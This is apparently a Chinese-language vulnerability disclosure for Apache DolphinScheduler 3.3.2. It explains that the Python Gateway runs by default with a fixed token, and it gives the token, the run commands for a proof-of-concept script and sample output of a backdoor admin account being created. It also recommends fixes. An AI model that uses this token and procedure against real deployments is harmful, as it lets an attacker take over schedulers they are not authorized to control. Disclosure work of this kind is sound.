漏洞概述

在 Apache DolphinScheduler 3.3.2 的默认部署(尤其是 standalone 单机部署)中,application.yaml 将 Python Gateway 服务默认开启 (enabled: true),绑定到 0.0.0.0 并使用固定的认证令牌 jwUDzpLsNKEFER4*a8gruBH_GsAurNxU7A@Xc。任何能够访问该端口的攻击者都可利用该令牌调用 Python Gateway 提供的管理接口。

网关内部以内置的 dummyAdminUser(管理员权限)执行操作,因此攻击者能直接创建租户、用户、项目、工作流等敏感资源,最终完全接管任务调度流程。

影响范围

  • 默认安装的 DolphinScheduler standalone 容器或使用官方默认单机配置的部署以及分布式开启python-gateway配置。
  • 网关对外监听 0.0.0.0,未限制来源访问。
  • 网关仍使用默认令牌且未关闭服务。

技术细节

  1. dolphinscheduler-standalone-server/src/main/resources/application.yaml 中的默认配置:

    1
    2
    3
    4
    5
    python-gateway:
    enabled: true
    auth-token: jwUDzpLsNKEFER4*a8gruBH_GsAurNxU7A@Xc
    gateway-server-address: 0.0.0.0
    gateway-server-port: 25333
  2. PythonGateway 启动时只要令牌非空即接受连接,并使用 dummyAdminUser 调用各类 Service。

  3. 只需知道服务地址,即可利用 py4j 客户端连接网关,执行任意管理操作。下面验证通过未授权进行用户创建并登录。

复现脚本

vul/python_gateway_poc.py 已提供自动化验证流程:

  • 接收目标 URL,自动解析 Web 地址(假设 Python Gateway 与 Web 在同一主机)。
  • 使用默认令牌连接 Python Gateway。
  • 创建租户 eviltenant001 与账号 eviluser001/Passw0rd!(如已存在则跳过)。
  • 调用 /dolphinscheduler/login 验证新账号可登录。

使用说明

1. 安装依赖

PoC 依赖 py4j

1
pip install py4j

2. 运行 PoC

只需提供 Web 访问地址(包含协议与端口):

1
python3 vul/python_gateway_poc.py http://目标IP或域名:端口

执行成功时输出如下信息:

1
2
3
4
5
[+] Created/loaded tenant id=...
[+] Created/loaded user id=...
[+] HTTP login response status=200
[+] Body: {"code":0,"msg":"login success", ...}
[+] Login succeeded, vulnerability confirmed

若失败则返回异常原因(例如无法连接、令牌被修改等)。

3. 自定义参数(可选)

脚本支持以下可选参数(可通过 --help 查看):

  • --gateway-port:Python Gateway 端口,默认 25333。
  • --auth-token:网关认证令牌,默认值为官方配置的默认令牌。
  • --tenant-code--queue-name--username--password 等可用于自定义要创建的资源。

示例:

1
2
3
4
5
python3 vul/python_gateway_poc.py http://10.0.0.5:12345 \
--auth-token 自定义Token \
--gateway-port 30000 \
--username demoUser \
--password StrongPass1!

验证后的建议整改

  1. 若无 Python Gateway 需求,建议立即在配置中关闭:

    1
    2
    python-gateway:
    enabled: false
  2. 如必须启用:

    • auth-token 修改为强随机值,并妥善保管。
    • gateway-server-address 改为 127.0.0.1 或内网特定地址。
    • 通过防火墙/ACL 限制访问来源。
  3. 清理 PoC 创建的租户/用户(eviltenant001eviluser001)。

  4. 建议官方在启动时检测默认配置并给出高危提示或拒绝启动,同时为网关操作添加更精细的权限控制。

注意事项

  • 本脚本仅用于安全测试目的,请勿在未授权环境中使用。
  • 脚本依赖可连通的 Python Gateway 与 Web 服务,若部署采用不同主机或端口,需要对应调整参数。
  • 若目标关闭了 Python Gateway 或修改了认证方式,脚本将无法利用。

利用脚本

python3 1.py localhost:12345

https://github.com/52hertzi/Apache-DolphinScheduler-Python-Gateway-Unauthenticated-Access/blob/master/python_gateway_poc.py

复现

该环境为standalone 单机部署容器

当前用户如下

当前用户

执行脚本

python3 python_gateway_poc.py http://localhost:12345

添加用户

成功添加用户

eviluser001/Passw0rd!

成功添加用户